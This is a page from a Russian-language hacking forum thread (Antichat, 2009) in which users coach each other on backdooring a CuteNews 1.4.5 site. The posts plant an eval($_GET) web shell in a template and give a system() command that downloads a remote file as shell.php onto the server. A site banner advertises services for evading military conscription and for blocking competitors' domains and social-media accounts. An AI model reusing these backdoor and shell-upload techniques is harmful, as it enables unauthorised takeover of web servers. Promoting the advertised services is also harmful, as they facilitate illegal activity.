CuteNews 1.4.5 help

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
CuteNews 1.4.5 help

Страница 3 из 3

Опции темы

Поиск в этой теме

Опции просмотра

#21

27.08.2009, 11:40

Pashkela

Динозавр

Регистрация: 10.01.2008

Сообщений: 2,841

С нами: 9649706

Репутация: 3338

failed to open stream - чо тут непонятного? вставь просто eval($_GET[e]); и лей шелл спокойно. Нет, надо сразу удаленно копировать или инклудить обязательно

#22

24.09.2009, 20:04

spamerr

Новичок

Регистрация: 18.07.2008

Сообщений: 29

С нами: 9375879

Репутация: 0

Цитата:

Сообщение от Pashkela

можеш описать поподробнее данную операцию,а то все способа не работают

#23

24.09.2009, 20:11

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

Цитата:

можеш описать поподробнее данную операцию,а то все способа не работают

прочитай сначала внимательней справку по nix консоли, и выполняй через функцию system в пхп.

#24

24.09.2009, 22:11

spamerr

Новичок

Регистрация: 18.07.2008

Сообщений: 29

С нами: 9375879

Репутация: 0

Вот установил в темплейт
HTML;
if(isset($_GET['shell'])) eval($_GET['shell']);

Работает команда phpinfo();

Как можно залить полноценний шелл???

P.S.Пробовал залить файл через форму загрузки файла,но вылетает ошибка что доступ закрыт

#25

27.09.2009, 17:46

warlok

Постоянный

Регистрация: 18.02.2008

Сообщений: 368

С нами: 9594385

Репутация: 386

spamerr например:

Код:

script.php?shell=system(GET http://google.ru/index.php > shell.php);

прочитай ман про качалки

Страница 3 из 3

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
CuteNews	ZweR	PHP	2	08.02.2008 14:22

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход